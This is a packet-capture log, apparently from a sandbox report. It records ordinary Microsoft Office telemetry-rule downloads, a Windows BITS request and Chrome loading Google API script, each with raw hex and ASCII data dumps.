2024-10-29 19:35:03 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:03 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 50755ed9-801e-00ac-015e-27fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193503Z-r197bdfb6b4wmcgqdschtyp7yg00000006v000000000nh1e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:04 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:03 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:04 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: d73e8916-101e-008d-6973-2792e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193504Z-17c5cb586f62blg5ss55p9d6fn00000007w0000000003mv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:04 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:03 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193503Z-16849878b78xblwksrnkakc08w000000069g000000005n2r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49750	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:04 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-29 19:35:04 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=62384 Date: Tue, 29 Oct 2024 19:35:04 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:04 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:04 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:04 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: ce95f5ab-001e-0034-242a-27dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193504Z-17c5cb586f6r59nt869u8w8xt80000000620000000002f0c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:04 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:04 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:04 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193504Z-15b8d89586fzcfbd8we4bvhqds00000001tg00000000kx4w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:04 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:04 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:04 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193504Z-16849878b78qwx7pmw9x5fub1c000000050000000000zz6z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:04 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:04 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:04 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193504Z-16849878b78fkwcjkpn19c5dsn00000005xg00000000u4yz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:04 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:04 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:04 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 214f201b-c01e-00ad-7c26-28a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193504Z-r197bdfb6b4gx6v9pg74w9f47s000000092g0000000097hf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:04 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49758	142.250.181.238	443	5332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:05 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 19:35:05 UTC	913	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 29 Oct 2024 19:23:35 GMT Expires: Wed, 29 Oct 2025 19:23:35 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 690 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-29 19:35:05 UTC	465	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-29 19:35:05 UTC	1378	IN	Data Raw: 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e Data Ascii: type)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return
2024-10-29 19:35:05 UTC	1378	IN	Data Raw: 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 69 Data Ascii: b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.assi
2024-10-29 19:35:05 UTC	1378	IN	Data Raw: 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 3a 68 Data Ascii: nction(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject:h
